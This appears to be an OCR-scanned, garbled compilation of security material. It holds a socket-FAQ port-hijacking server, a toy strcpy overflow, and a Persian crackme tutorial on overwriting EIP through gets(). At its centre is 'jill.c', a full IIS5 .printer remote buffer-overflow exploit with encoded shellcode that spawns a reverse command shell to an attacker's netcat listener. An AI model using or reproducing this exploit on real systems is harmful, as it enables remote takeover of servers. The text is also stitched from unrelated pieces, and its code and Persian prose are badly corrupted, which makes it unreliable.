This is a nodification of the tcpserver.c source included in
the exanpl e code for the unix-socket-faq. The faq can be found
at the foll ow ng sources

http://ww. auroraonl i ne. conl sock-faq

htt p://Ki pper.york. ac. uk/ ~vi c/ sock-faqg

ftp://rtfmmt. edu/ pub/usenet/ news. answers/ uni x-faq/ socket

The nost recent version of the sanple source includes a nodified
Makefil e which knows about this file. Copy this file into the
sanpl e source directory and type 'nake reuseaddr' to conpile

To try it out, run tcpserver, followed by tcpclient to verify
that it is working correctly. Then run reuseaddr, passing the
sane port nunber as you did to tcpserver, and the hostnane of
the server. When you next run tcpclient, you will be talking
to the reuseaddr server instead of the tcpserver server

Al though this works under linux 1.2.13, it may be "fixed" on
ot her systens. Possible solutions to the problem shoul d be

to either not use SO REUSEADDR, or have your server bind to

the server's address specifically. |s there any reason not

to do this?


http://www.auroraonline.com/sock-faq
http://kipper.york.ac.uk/~vic/sock-faq
ftp://rtfm.mit.edu/pub/usenet/news.answers/unix-faq/socket

#i ncl ude "sockhel p. h"

#i ncl ude <stdi o. h>

#i ncl ude <uni std. h>

#i ncl ude <signal . h>

#i ncl ude <sys/types. h>
#i ncl ude <string. h>

#i ncl ude <sys/wait.h>

#i ncl ude <ctype. h>

/* This waits for all children, so that they don't becone zonbies. */
voi d sig_chld(signal _type)
int signal _type;

int pid;
int status;

while ( (pid = wait3(&status, WNOHANG NULL)) > 0);

int main(argc, argv)
int argc;
char *argv[];

int sock = -1;

int connected = 1;

char buffer[1024];

char *current_character;
int port = -1,

struct sigaction act, ol dact;
struct in_addr *addr;
struct sockaddr _in address;
int |istening;

int reuse_addr = 1;

int new_process;

if (argc !'= 3) {
fprintf(stderr,"Usage: tcpserver port addr\n");
fprintf(stderr,"Were port is the port nunber or service nane to\n");
fprintf(stderr,"listen to, and addr is the host address to bind to.\n");
exit(-1);

}

si genpt yset (&act . sa_mask) ;
act.sa_flags = 0;

act.sa_handl er = sig_chld;

si gaction(SI GCHLD, &act, &ol dact);

port = atoport(argv[1l], "tcp");

if (port == -1)
fprintf(stderr,"Unable to find service: %\n",argv[1]);
exit(-1);

}

addr = atoaddr(argv[2]);

if (addr == NULL) {
fprintf(stderr,"Unable to find host: %\n",argv[2]);
exit(-1);

li stening = socket (AF_I NET, SOCK_STREAM 0);

set sockopt (1isteni ng, SO._SOCKET, SO REUSEADDR, &reuse_addr,
si zeof (reuse_addr));

address.sin_famly = AF_| NET;
address. sin_port = port;
address. si n_addr.s_addr = addr->s_addr;

if (bind(listening, (struct sockaddr *) &address, sizeof(address)) < 0) {
perror ("bind");
cl ose(listening);
exit(-1);



}
listen(listening,b5);

while (sock < 0) {
sock = accept (listening, NULL, NULL) ;
if (sock < 0) {
if (errno != EINTR) {
perror("accept");
cl ose(listening);
exit(-1);
} else {
conti nue; /* don't fork - do the accept again */
} /* errno !'= EINTR */
} I* sock < 0 */
new_process = fork();
if (new_ process < 0) {
perror ("fork");
cl ose(sock);

sock = -1;
} else { /* W have a new process... */
if (new_process == 0) {

/* This is the new process. */
close(listening); /* Cose our copy of this socket */
listening = -1; /* Closed in this process. W are not responsible
for it. */
} else { /* Main Loop */
cl ose(sock);
sock = -1;

}
}
Y I* While */

sock_put s(sock, "Wl come to the upper case server.\n");
whi | e (connected) {
/* Read input */
if ( sock_gets(sock, buffer, 1024) < 0) {
connected = O;

}
el se {
if (sock_puts(sock, "Evil inmpostor!!l\n") < 0) {
connected = 0;
}
}
cl ose(sock);
return O;
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/1 lunch.cpp : Overflowi ng the stomach buffer

#i ncl ude <stdafx. h>
#i ncl ude <stdio. h>

#i ncl ude <string. h>

voi d bi gnmac(char *p);

int main(int argc, char *argv[])
{
bi gmac(" Coul d you supersize that please?"); // size > 9 overflows

return O;

voi d bi gmac(char *p)

{
char stomach[10]; //limt the size to 10
strcpy(stomach, p);

printf(stomach);
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/* 11S 5 renote .printer overflow. "jill.c" (don't ask)

*

* by: dark spyrit <dspyrit@eavuh. org>

*

* respect to eeye for finding this one - nice work.

* shouts to halvar, neofight and the beavuh bitchez

*

* this exploit overwites an exception frane to control eip and get to
* our code.. the code then |ocates the pointer to our |arger buffer and
* execs

*

* usage: jill <victimhost> <victimport> <attacker host> <attacker port>
*

* the shellcode spawns a reverse cnd shell.. so you need to set up a

* netcat |listener on the host you control

*

* Ex: nc -1 -p <attacker port> -vv

*

* | haven't slept in years

*

/

#i ncl ude <sys/types. h>
#i ncl ude <sys/time. h>
#i ncl ude <sys/socket.h>
#i ncl ude <netinet/in.h>
#i ncl ude <arpal/inet. h>
#i ncl ude <uni std. h>

#i ncl ude <errno. h>

#i ncl ude <stdlib. h>

#i ncl ude <stdi o. h>

#i ncl ude <string. h>

#i ncl ude <fcntl. h>

#i ncl ude <net db. h>

int main(int argc, char *argv[])({
/* the whole request rolled into one, pretty huh? carez. */

unsi gned char sploit[]=

"\ x47\ x45\ x54\ x20\ x2f \ x4e\ x55\ x4c\ x4c\ x2e\ x70\ x72\ x69\ x6e\ x74\ x65\ x72\ x20"
"\ x48\ x54\ x54\ x50\ x2f \ x31\ x2e\ x30\ x0d\ x0a\ x42\ x65\ x61\ x76\ x75\ x68\ x3a\ x20"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ xeb\ x03\ x5d\ xeb\ x05\ xe8\ xf 8\ xf f\ xf f\ xf f\ x83\ xc5\ x15\ x90\ x90\ x90"
"\ x8b\ xc5\ x33\ xc9\ x66\ xb9\ xd7\ x02\ x50\ x80\ x30\ x95\ x40\ xe2\ xf a\ x2d\ x95\ x95"
"\ x64\ xe2\ x14\ xad\ xd8\ xcf\ x05\ x95\ xel\ x96\ xdd\ x7e\ x60\ x7d\ x95\ x95\ x95\ x95"
"\ xc8\ x1e\ x40\ x14\ x7f \ x9a\ x6b\ x6a\ x6a\ x1e\ x4d\ x1e\ xe6\ xa9\ x96\ x66\ x1e\ xe3"
"\ xed\ x96\ x66\ x1e\ xeb\ xb5\ x96\ x6e\ x1e\ xdb\ x81\ xa6\ x78\ xc3\ xc2\ xc4\ x1le\ xaa"
"\ x96\ x6e\ x1e\ x67\ x2c\ x9b\ x95\ x95\ x95\ x66\ x33\ xel\ x9d\ xcc\ xca\ x16\ x52\ x91"
"\ xd0O\ x77\ x72\ xcc\ xca\ xch\ x1e\ x58\ x1e\ xd3\ xb1\ x96\ x56\ x44\ x74\ x96\ x54\ xa6"
"\ x5c¢\ xf 3\ x1e\ x9d\ x1e\ xd3\ x89\ x96\ x56\ x54\ x74\ x97\ x96\ x54\ x1e\ x95\ x96\ x56"
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"\ x1le\ x67\ x1le\ x6b\ x1e\ x45\ x2c\ x9e\ x95\ x95\ x95\ x7d\ xel\ x94\ x95\ x95\ xab\ x55"
"\ x39\ x10\ x55\ xe0\ x6¢\ xc7\ xc3\ x6a\ xc2\ x41\ xcf \ x1e\ x4d\ x2c\ x93\ x95\ x95\ x95"
"\ x7d\ xce\ x94\ x95\ x95\ x52\ xd2\ xf 1\ x99\ x95\ x95\ x95\ x52\ xd2\ xf d\ x95\ x95\ x95"
"\ x95\ x52\ xd2\ xf 9\ x94\ x95\ x95\ x95\ xf f\ x95\ x18\ xd2\ xf 1\ xc5\ x18\ xd2\ x85\ xc5"
"\ x18\ xd2\ x81\ xc5\ x6a\ xc2\ x55\ xf f\ x95\ x18\ xd2\ xf 1\ xc5\ x18\ xd2\ x8d\ xc5\ x18"
"\ xd2\ x89\ xc5\ x6a\ xc2\ x55\ x52\ xd2\ xb5\ xd1\ x95\ x95\ x95\ x18\ xd2\ xb5\ xc5\ x6a"
"\ xc2\ x51\ x1e\ xd2\ x85\ x1c\ xd2\ xc9\ x1c\ xd2\ xf 5\ x1e\ xd2\ x89\ x1c\ xd2\ xcd\ x14"
"\ xda\ xd9\ x94\ x94\ x95\ x95\ xf 3\ x52\ xd2\ xc5\ x95\ x95\ x18\ xd2\ xe5\ xc5\ x18\ xd2"
"\ xb5\ xc5\ xa6\ x55\ xc5\ xc5\ xc5\ xf f\ x94\ xc5\ xc5\ x7d\ x95\ x95\ x95\ x95\ xc8\ x14"
"\ x78\ xd5\ x6b\ x6a\ x6a\ xc0\ xc5\ x6a\ xc2\ x5d\ x6a\ xe2\ x85\ x6a\ xc2\ x71\ x6a\ xe2"
"\ x89\ x6a\ xc2\ x71\ xf d\ x95\ x91\ x95\ x95\ xf f \ xd5\ x6a\ xc2\ x45\ x1e\ x7d\ xc5\ xf d"
"\ x94\ x94\ x95\ x95\ x6a\ xc2\ x7d\ x10\ x55\ x9a\ x10\ x3f \ x95\ x95\ x95\ xa6\ x55\ xc5"
"\ xd5\ xc5\ xd5\ xc5\ x6a\ xc2\ x79\ x16\ x6d\ x6a\ x9a\ x11\ x02\ x95\ x95\ x95\ x1e\ x4d"
"\ xf 3\ x52\ x92\ x97\ x95\ xf 3\ x52\ xd2\ x97\ x8e\ xac\ x52\ xd2\ x91\ x5e\ x38\ x4c\ xb3"
"\ xf f\x85\ x18\ x92\ xc5\ xc6\ x6a\ xc2\ x61\ xf f\ xa7\ x6a\ xc2\ x49\ xab\ x5¢c\ xc4\ xc3"
"\ xc4\ xc4\ xc4\ x6a\ xe2\ x81\ x6a\ xc2\ x59\ x10\ x55\ xel\ xf 5\ x05\ x05\ x05\ x05\ x15"
"\ xab\ x95\ xel\ xba\ x05\ x05\ x05\ x05\ xf f\ x95\ xc3\ xf d\ x95\ x91\ x95\ x95\ xcO\ x6a"
"\ xe2\ x81\ x6a\ xc2\ x4d\ x10\ x55\ xel\ xd5\ x05\ x05\ x05\ x05\ xf f\ x95\ x6a\ xa3\ xc0"
"\ xc6\ x6a\ xc2\ x6d\ x16\ x6d\ x6a\ xel\ xbb\ x05\ x05\ x05\ x05\ x7e\ x27\ xf f \ x95\ xf d"
"\ x95\ x91\ x95\ x95\ xc0\ xc6\ x6a\ xc2\ x69\ x10\ x55\ xe9\ x8d\ x05\ x05\ x05\ x05\ xel"
"\ x09\ xf f\ x95\ xc3\ xc5\ xcO\ x6a\ xe2\ x8d\ x6a\ xc2\ x41\ xf f\ xa7\ x6a\ xc2\ x49\ x7e"
"\ x1f\ xc6\ x6a\ xc2\ x65\ xf f\ x95\ x6a\ xc2\ x75\ xa6\ x55\ x39\ x 10\ x55\ xe0\ x6¢c\ xc4"
"\ xc7\ xc3\ xc6\ x6a\ x47\ xcf\ xcc\ x3e\ x77\ x7b\ x56\ xd2\ xf O\ xel\ xc5\ xe7\ xf a\ xf 6"
"\ xd4\ xf 1\ xf 1\ xe7\ xf 0\ xe6\ xe6\ x95\ xd9\ xf a\ xf 4\ xf 1\ xd9\ xf c\ xf 7\ xe7\ xf 4\ xe7"
"\ xec\ xd4\ x95\ xd6\ xe7\ xf O\ xf 4\ xel\ xf O\ xc5\ xf c\ xe5\ xf 0\ x95\ xd2\ xf O\ xel\ xc6"
"\ xel\ xf 4\ xe7\ xel\ xe0\ xe5\ xdc\ xf b\ xf 3\ xf a\ xd4\ x95\ xd6\ xe7\ xf O\ xf 4\ xel\ xf 0"
"\ xc5\ xe7\ xf a\ xf 6\ xf O\ xe6\ xe6\ xd4\ x95\ xc5\ xf O\ xf O\ xf e\ xdb\ xf 4\ xf 8\ xf O\ xf 1"
"\ xc5\ xf c\ xe5\ xf 0\ x95\ xd2\ xf 9\ xf a\ xf 7\ xf 4\ xf 9\ xd4\ xf 9\ xf 9\ xf a\ xf 6\ x95\ xc2"
"\ xe7\ xf c\ xel\ xf O\ xd3\ xf c\ xf 9\ xf O\ x95\ xc 7\ xf O\ xf 4\ xf 1\ xd3\ xf c\ xf 9\ xf O\ x95"
"\ xc6\ xf 9\ xf 0\ xf O\ xe5\ x95\ xdO\ xed\ xf c\ xel\ xc5\ xe7\ xf a\ xf 6\ xf O\ xe6\ xe6\ x95"
"\ xd6\ xf 9\ xf a\ xe6\ xf O\ xdd\ xf 4\ xf b\ xf 1\ xf 9\ xf 0\ x95\ xc2\ xc6\ xda\ xd6\ xde\ xa6"
"\ xa7\ x95\ xc2\ xc6\ xd4\ xc6\ xel\ xf 4\ xe7\ xel\ xe0\ xe5\ x95\ xe6\ xf a\ xf 6\ xf e\ xf 0"
"\ xel\ x95\ xf 6\ xf 9\ xf a\ xe6\ xf O\ xe6\ xf a\ xf 6\ xf e\ xf O\ xel\ x95\ xf 6\ xf a\ xf b\ xf b"
"\ xf O\ xf 6\ xel\ x95\ xe6\ xf O\ xf b\ xf 1\ x95\ xe7\ xf O\ xf 6\ xe3\ x95\ xf 6\ xf 8\ xf 1\ xbb"
"\ xf 0\ xed\ xf 0\ x95\ x0d\ x0a\ x48\ x6f \ x73\ x74\ x3a\ x20\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90"
"\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x90\ x33"
"\ xc0\ xb0\ x90\ x03\ xd8\ x8b\ x03\ x8b\ x40\ x60\ x33\ xdb\ xb3\ x24\ x03\ xc3\ xf f\ xe0"
"\ xeb\ xb9\ x90\ x90\ x05\ x31\ x8c\ x6a\ x0d\ x0a\ x0d\ x0a"

int S;

unsi gned short int a_port;
unsi gned | ong a_host ;
struct hostent *ht;
struct sockaddr_in sin;

printf("iis5 remote .printer overflow \n"
"dark spyrit <dspyrit@eavuh.org> / beavuh | abs.\n")

if (argc !'= 5){

printf("usage: % <victinHost> <victinPort> <attackerHost>
<attackerPort>\n", argv[0])

exit(1)

}


mailto:<dspyrit@beavuh.org>

if ((ht = gethostbynane(argv[1])) == 0){
herror (argv[1]);
exit(1);

}

sin.sin_port = htons(atoi(argv[2]));
a_port = htons(atoi(argv[4]));
a_port~=0x9595;

sin.sin_famly = AF_I NET;
sin.sin_addr = *((struct in_addr *)ht->h_addr);

if ((ht = gethostbynane(argv[3])) == 0){
herror(argv[3]);
exit(1);

}

a_host = *((unsigned |ong *)ht->h_addr);
a_host #=0x95959595;

sploit[441] = (a_port) & Oxff;
sploit[442] = (a_port >> 8) & Oxff;

sploi t[446] = (a_host) & Oxff;
sploit[447] = (a_host >> 8) & Oxff;
sploi t[448] = (a_host >> 16) & Oxff;
spl oi t[449] = (a_host >> 24) & Oxff;

if ((s = socket(AF_I NET, SOCK_STREAM 0)) == -1){
perror("socket");
exit(1);

}

printf("\nconnecting... \n");

if ((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1){
perror("connect");
exit(1);

}

wite(s, sploit, strlen(sploit));

sleep (1);

cl ose (s);

printf("sent... \nyou may need to send a carriage on your listener if the shell

doesn't appear.\nhave fun!\n");
exit(0);
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Jusgol 1ad o aS S 0,Lil 50 aSs ul U il il cowl S,,9,0 engineering
Lolao Sy ,9U 5y w5l oslaiwl o9 @ pdlg> (o bhsd g )l 1) LISl o SS
» 1,SLs | o key generator aJgi 9,138l o0 S,S Ly ol 055 95 Jlio WSS
sl alio > uli aS 5,5 RCE wobo @ 5k wlho Ul 55 s @lio ol 039>
o b B399 aoliny S5S 55 58 50y sw SHS LIS @ pggan b > ouslssw 5w el @y 50
Sl Jlo auS wsl,> securitywarrior  «ulwsll, weird.exe aol, il oo
tSl)._J D Jlo UJ| o aS wowl VT VEWA) JBB LYV ulbw 1> RCE asuwj 5> |) SHIRio
aolS Jlo Sy owsS sw L=l g 05,5 ol | aolyy. eul 0515 18 ao M ,gb @ oo
Slg ) cw)d Hgue aolS aS (siloj U ads (swi wlg> aoliy owiS sw 5)lg |, IOWNU

25 2905 Jled) WIS soi 0 |y sule> aud puleds

FilCommand Prompt - weird
Cistest >

CzNtestiweird.exe
—— The analyst's weird crackmne —

enter yvour serial please:
1 0WNU

oly wul &S Al adles axgie Sdg3r g dulos Sl9 1 KX 0, 0)londs slasi Algi (s
Aol Gimig 4 5B Ll 15,5 Sy wewlo ol Jlos cowl Jipy uy 3,10 sl onyld
89 UV Lw) swu L A4 s ol pd ul (9 Al Aol ol sl Bruce Force
aiwly a>gi sd  puyw 0,00 3939 LweSeo (sawlipo S Hlul 9 Sldxo 5l asS |
w2l S patch  jgio aoly @ |) SaS aus )b ol locs Jbo ol L aS Aol
2ad ash puS S)S | el Gug, ool b pudles i o ol RCE Sl g, S Sy
@ o Sl pusS b W8 aS johiled 0wy 0pr LU w0 Sl ewls
el asls 5 daoowl @ (wld suliowl

Aol als axgi Lo gul @ Jlie gul 5> IS Jsb @

x86 sliouwl UL wun; 5> o3V @, 11
W32DASM L IDA siled disassembler < :2
ASCIl slaas a, hexadecimal oaiuS Jyawi:3

Ol 5l a2y pwlos Lsw Disassmble |, Weird.exe ;S <o aoliy IDA aoly boowgi 1wl
oS s oy |, “Congratulation” e, g aus, String o,y @ lowdiwo



Strings window

Actions  Search
Addres | Ler |g|h -
= DATAD., 00000023 C B
A DATAD.. 00000023 C
= s DATAD FrﬂﬁﬂﬂlP C
B (A TA0,.. 000000 = wlJO! congrats ;i
=2 DATAD., OO -|:||] E C I ahah eSS
=2 DATAD.,  DO00000E C +24[P
‘DATAD.. DO00QOO7 C COMIME
= DATAD.., 000000 C COMOUTY

Lin= S of 259

JSow @ by Gad gue S |, b b 05,8 SIS ls Hlas 5,90 asii; Soy v paew

aaun11%E
BB 15E
CODE ; A8 M1 15E
CODE : 08401163
CODE : A0 16%
GCODE : e M 167
CODE : 8@ 160
CODE : BB 16E
CODE : 0041173
CODE : 984 m117%
CNDE :
CODE :
CODE =
COGE ;

CODE :
CODE :

BaNB11FT
BT TFE
Ak A1 181

loc HIA1SE:

ABLBI17T

AuiS A>gi 505

CODE XREF: main+aFTj

P

oy eax, FAARh

test eax, edax

inz short Ioc_ 401182
CRp eax, 1388h

j1 short loc_481182
Clp eax, SA9Eh

i short loc_ 481182
jmp short loc_ 481182
push offset aWooCongrats ; Format
call

pop BCH

> Sy RCE ik o)l 59>9 ainod aoly Su S5S Shy girw 9wl ueild S
D b 2,8 auSs b i puslbs @ 0Bl el )5 Ugae il ple SO U aine wguuxo
05 sl ol awlgs (oo ) Sl W pd Wl ol adl L8 wlu, L b w,lpo
)l |) ug.o)ls o U0L> >)90 U.J| > u.,u.@)b >)90 oD u.;.ul_w )|.Lo.p S &9|9.o oy
ol wla as Jbls ol @ has oS s g9,mu Congratulations ol ais, ouwd
L LLsSs soly 9 prwy Vs> @ o 3l il Llgi o g9yt andi Gurips

ol L5 Wgo U Gius ol U abbgire Bad IS g, @ pusS Ulxiol

: 00401108

: 00401109

: 0040110B

. 0040110E

: 00401113

. 00401118

: 00401119

: 0040111E

: 00401123

: 00401124

push
nov
add
push
cal
pop
push
cal
pop

push

ebp

ebp, esp

esp, OFFFFFFB4h ; char

of f set aTheAnal yst SWi ; _va_args

_printf ; print some text.
ecx

of fset asc_40C097 ; _va_args
_printf ; sane

ecx

of f set aEnter Your Seri a ; _va_args



: 00401177

: 00401129 cal | _printf ; same again

: 0040112E pop ecx

: 0040112F | ea eax, [ebp+s] ; buffer

: 00401132 push eax ;S

: 00401133 cal | _gets ; get entered serial

: 00401138 pop ecx

: 00401139 nop

: 0040113A | ea edx, [ebp+s]

:0040113D push edx ;S

: 0040113E cal | _strlen get its length
100401143 pop ecx

: 00401144 nov edx, eax

: 00401146 cnp edx, 19h ; is it less than 25?
: 00401149 jl short | oc_401182 yes

:0040114B cnp edx, 78h ; is it nore than 120?
: 0040114E jg short | oc_401182 yes

: 00401150 nov eax, 1 ; eax = 1, initialize |oop
: 00401155 cnp edx, eax ; all chars done?

: 00401157 jl short | oc_40115E ; no, let's junp

: 00401159

: 00401159 | oc_401159: ; CODE XREF: _nmi n+54]
: 00401159 inc eax ; eax = eax + 1

: 0040115A cnp edx, eax ; all chars done?
:0040115C jge short | oc_401159 ; no, let's |oop
: 0040115E

: 0040115E | oc_40115E: : CODE XREF: _mai n+4Fj

: 0040115E nov eax, 7A69h ; eax = 31337

: 00401163 test eax, eax

: 00401165 jnz short | oc_401182 ; junmp quit

: 00401167 cnp eax, 1388h

: 0040116C jl short | oc_40118 ; junmp quit

: 0040116E cnp eax, 3A98h

: 00401173 jg short | oc_401182 ; junmp quit

: 00401175 jnp short | oc_401182 ; junp quit



CODE: 00401177 push of fset awoCongrats ; _ _va_args

; good nsg
CODE: 0040117C cal | _printf
CODE: 00401181 pop ecx
CCDE: 00401182
CODE: 00401182 | oc_401182: ; CODE XREF: _nmain+41j
CCDE: 00401182 ;. _mai n+46j
CODE: 00401182 cal | _getch ; wait till a key is pressed
CODE: 00401187 xor eax, eax
CODE: 00401189 nov esp, ebp
CCDE: 0040118B pop ebp

CODE: 0040118C retn

2> ol Aidpi 910 Guygw 5> AB> Sy AS gl (s A>gio YU AS @ Sysds ol L
& w ol U 5,1l >9>9 (Congratulations)Su,w pley <8l,s Sl al, zud gdlg
U 5l vy 399 ool b >, 399 Suui plen 0 (o o, gud aS auepd sl
o Vbhlos bo @y alicwo ¢l 5505 59>9 pusiwo job @ aoly ULL @ U aww, Sl b
o> a5 bgsyo 35 50U 50 ,w S8 LB @ b Sl il oo il J> Sy aS S
oo o b as |, sl dbyw o)loas aS cowl wjgo (ol 4 b du> pusS Ll | Sopu
Sl 59U 03930 @ jelxi b pudles (s bo puslos 3)lg aoly @ 0L 505 »w Busb 5l puS
Ol & siws Heb W |y Jbyow 05lous 1S sw osleiwl sxaxo j5b @ Ul 5l aoliy as
ol I, aoly (wsgs oo Jlyrw o)locss puw pwles bl 1) aolyy B pwlos Qlé.JJ)'J
3513

oaiiS Jleil sl g ,80 Llnde 5l Wb pse S aS od wwiS s aS ehilasd Lg>
PuS pazeiw | usnds Uluo @ g pussly cowr sileMbl

CODE: 0040112E pop ecx

CODE: 0040112F | ea eax, [ebp+s] ; buffer
CODE: 00401132 push eax ;S

CODE: 00401133 cal | _gets ; get entered serial
CODE: 00401138 pop ecx

CODE: 00401139 nop

CODE: 0040113A | ea edx, [ebp+s]

CODE: 0040113D push edx ;S

€9.090 (pl S s awlil Get() U sulg>,9 51 Jd |, juslee VU aS > exa 30
Cowl 0auw oy Ulin swiwlos Wygo A 05 AS aghd s

#i ncl ude <stdi 0. h>



#i ncl ude <string. h>
#i ncl ude <coni 0. h>
#i ncl ude <i ostream h>

int min( )
{

unsi gned char nane[ 50];
get s(nane) ;

}

Ol Uliao 9 Cowl 00ui Loz “name” wygo A ,90 AsS w oadliw aS jghilos
o pu5,S oslawl 39,9 S Jb,w o,locis wdlb,s sl get U Sl b wowl wob 50
Lo L3I skl (oo s8leil ax Ll (g oun,S wayyei LSS 50 sy @ ol ans, @ 1) ol
Wby ;00 8,50 IDA Ll 8 . oS S | Olol ol L0 65,5 WL el V>
S o5 W Lol 5l asws ol @l 55l saidy JsSLS 75
CODE: 00401108 s
CODE: 00401108 argc
CODE: 00401108 ar gv
CODE: 00401108 envp
CODE: 00401108 arg_11

byte ptr -4Ch
dword ptr 8

dword ptr 0OCh
dword ptr 10h
dword ptr 19h

ol lo cowl JSLES 75 Lk 5,90 59U Hlade pweusSle aS pusy v b il 4 o lg>

D pusS 3)lo
-- The analyst's weird cracknme --

enter your serial please:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

G SHSil L jux adl b crash s aoly @8, o Lol as ghiled
Lo Ll Uas pley s ,5SDIS 5 Usges 3)lg b aS 390 ,iSLES 75,00 oslad ulsue
3S S, 41h cowl W s ol dwuww |, EBP=41414141h puilgi (o pley @ asgs
base pointer sé lo culy b gy cowl A Ol Hlase aS wowl hexadecimal  sSowl
EIP So) v ool 128 bo pul 19, Jiy wex aS V> U oS (swo souwsi o)bs> |, (EBP)
ilon as sls aslgs |, o3>l wul locis @ EIP (seungs 09> puds ol (soungs 0,lg>
piS 3lg pd SIS 84 aid, Sy Al kS Ll Obl aely gy 5 |, saS ggi o

oS oo Ol | pley ool bo g wewls 50 U olg=ds crash ¢l jeud al

instruction at the address 41414141h uses the menory address at
41414141h. menory cannot be read.



Lot b 4 S Ll 41414141h 55 1, 35 0iS (e A @by @S avisegd lo ol
oSl 414141410 Sl @ Sz b ciniSy vl bo 31 sbél asles  sdlasl as
S plen pusl S @ Jlo sy ewles

CCDE: 00401177 push of f set aWboCongr at s
_va_args ; good boy
CODE: 0040117C cal | _printf

G Wby ol o pud 518 401177 s |, vlol (oS Gwydl LSl aS puwils o b
puS oadline Jules axbo So) 1 L Sus plew puilss sw 9.0l 05,5 J> |, S,
PuS (0 ot o 1) 05 S i, Ol 5l 8 s9>9 o0l L

5,85 (50 A0 9 LS swo Jed 34333231 sl 5o L) aoly o5 aiis; aS pwiws sw bo

weeird.ere - Application Error : x|
i =Y The: instruction ab "e3A3332 31" referenced memory ak "0oc34333231" The memory cou'd mok be Sread™.
— Click on CF b Eeriminate the poogram
Click or CANCEL ko debug bhe program
L8 I Carcs

Osbiwsd @ paaw 9 03,5 GwsSzo |y LloyldaS b o aS 2iusS o bo 4 W pley ol
a0 Aol Ul 55 aS Csowssl 3uS (sw oadlie aS jghiled oS pladl Ll sl el
@ @) o 5)lg sSewl SAS by jusleng 00 JweSes Wigo 4 owl 03,95
8> s giwlos 1358 w90
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ol aS puils (s guogi (ul U asgi b g 31-32-33-34 il wp>  34-33-2-3-31
ol Guizxod o aoliy ool cugliwS! Sy ool wlo usb o 34333231 b crash
lo 401177 sl=l sy 305 Oy a4 pwlos (82,55 Lol a9 05,5 JweSse |, absl>
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- The analyst's weird cracknme --

enter your serial please:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA . W Q@
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The analyst’s weird craokos

enter gour serial ple

ace
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00! congerats )

Cobast

@ JU Jbo > aS Sl aolyy aS @ 3w osv B899 Jlio > 580 pgpan 4 dwiwlgs as JI>
2GS d>gi duw ais, LS

#i ncl ude <stdio. h>
#i ncl ude <string. h>
#i ncl ude <coni o. h>
#i ncl ude <i ostream h>

int min( ){
int i,len,tenp;
unsi gned char nang[ 75] ;

unsi gned | ong check=0;

printf("-- The analyst's weird crackme --\n");
printf("---------------“““““"------ \n");
printf("enter your serial please:\n");

get s(nane) ;
asn{ nop};

| en=strl en(nane);
//cout << |en;

if (len < 25) goto theend;
if (len > 120 ) goto theend,

for (i=1; i <=len; i++)
{

tenp += nane[i] ;
}
if (temp = 31337) goto theend;
if (temp < 5000) goto theend;
if (temp > 15000) goto theend;

got o theend;

printf("wOO congrats ;)\n");
t heend:
getch( );

return O;
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CONFIDENTIAL AREA

555 aSh osubs 355 @ (g eoui Ll 5l S pd OVl piwd (sulys Ulsss (guile o
U g i od 05Ldl 595 uli> > eaud Ugdse S S Jis @ . piwd B Bit
&S 53 5l Lk Jgab o LU B Abdl> Sla Wls s A e S g Hee JLis
aox> lpl o B o |y Lw Hd aS Jiww Sl B LS o Vb8 o,y adle 5,5
ww SNiff o, il ol, Lw > &S Liws sileMbl s b packet o slol OLL,E puS

g oo B s Ul 5l eSU o8 ul 5 5w bewi— ouS
wwoly, oliniwl Vaswl K g dsles Sl aS ouwigd (s od S o5 45 asleo
S,05 b sl (sdhio gl S i od loud 05,5 au>gi | aliwo ] Over Flow
owl G5 vaw Jled Sl iU S il aod I oS o aslei s 90 50, 1w 9 80

Why 2 +2 =5 ???
Because

